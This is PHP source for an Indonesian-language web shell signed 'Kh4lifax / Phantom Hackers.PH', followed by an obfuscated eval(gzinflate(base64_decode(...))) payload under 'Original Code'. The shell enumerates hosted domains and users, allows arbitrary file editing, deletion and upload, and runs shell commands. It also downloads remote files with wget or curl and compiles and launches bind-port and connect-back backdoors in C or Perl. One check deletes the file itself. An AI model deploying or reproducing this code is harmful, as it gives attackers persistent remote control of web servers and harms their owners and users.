	echo "<br><br>";
	$file = @implode(@file("/etc/named.conf"));
	if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
	preg_match_all("#named/(.*?).db#",$file ,$r);
	$domains = array_unique($r[1]);
	
	function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; }
		check();

	echo "<table align=center border=1 width=59% cellpadding=5>
	         <tr><td colspan=2>[+] Jumlah Domain : [<font face=calibri size=4 style=color:#FF0000>".count($domains)."</font>] Di Server.</td></tr>
	         <tr><td><b>List Of Users</b></td><td><b><font style=color:#0015FF;List Of Domains</b></td></tr>";
		foreach($domains as $domain)
	       {
	       $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
	       echo "<tr><td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 10px #CC2D4B; font-weight:bold; color:#FF002F;'>$domain</a></td><td>".$user['name']."</td></tr>";
	       }
		echo "</table>";
	//radable public_html
	}
 
 elseif(isset($_GET['view']) && ($_GET['view'] != "")){ 
 if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr> </table> "; if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","
"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time()); if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?> <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content"> <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr> </table> </form> <?php }
  elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; }
   elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?> <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post"> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload"> <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> 
    <?php } 
    elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdc.c",$port_bind_bd_c); exe("gcc -o bdc bdc.c"); exe("chmod 777 bdc"); @unlink("bdc.c"); exe("./bdc ".$port." ".$passwrd." &"); $scan = exe("ps aux"); if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } } 
  
  elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdp",$port_bind_bd_pl); exe("chmod 777 bdp"); $p2=which("perl"); exe($p2." bdp ".$port." &"); $scan = exe("ps aux"); if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } } 
  
  elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcc.c",$back_connect_c); exe("gcc -o bcc bcc.c"); exe("chmod 777 bcc"); @unlink("bcc.c"); exe("./bcc ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; } 
  
  elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcp",$back_connect); exe("chmod +x bcp"); $p2=which("perl"); exe($p2." bcp ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; } 
  
  elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $namafile = download($pilihan,$wurl); if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; } ?> <table class="tabnet"> <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr> <tr> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr> <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form> </table> </td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> 
    <?php }elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?><div class="info">:: Modified Shell by <span class="gaya"><a href="https://www.facebook.com/Annon.Kh4lifax">Kh4lifax</a> ::</span></div><div class="jaya">  &copy; Phantom Hackers.PH ./Kh4lifax</div> 
</div> </body> </html><?

Did this file decode correctly?

Original Code

<?php
/*
online encode by cha88.cn! 

*/
eval(gzinflate(base64_decode('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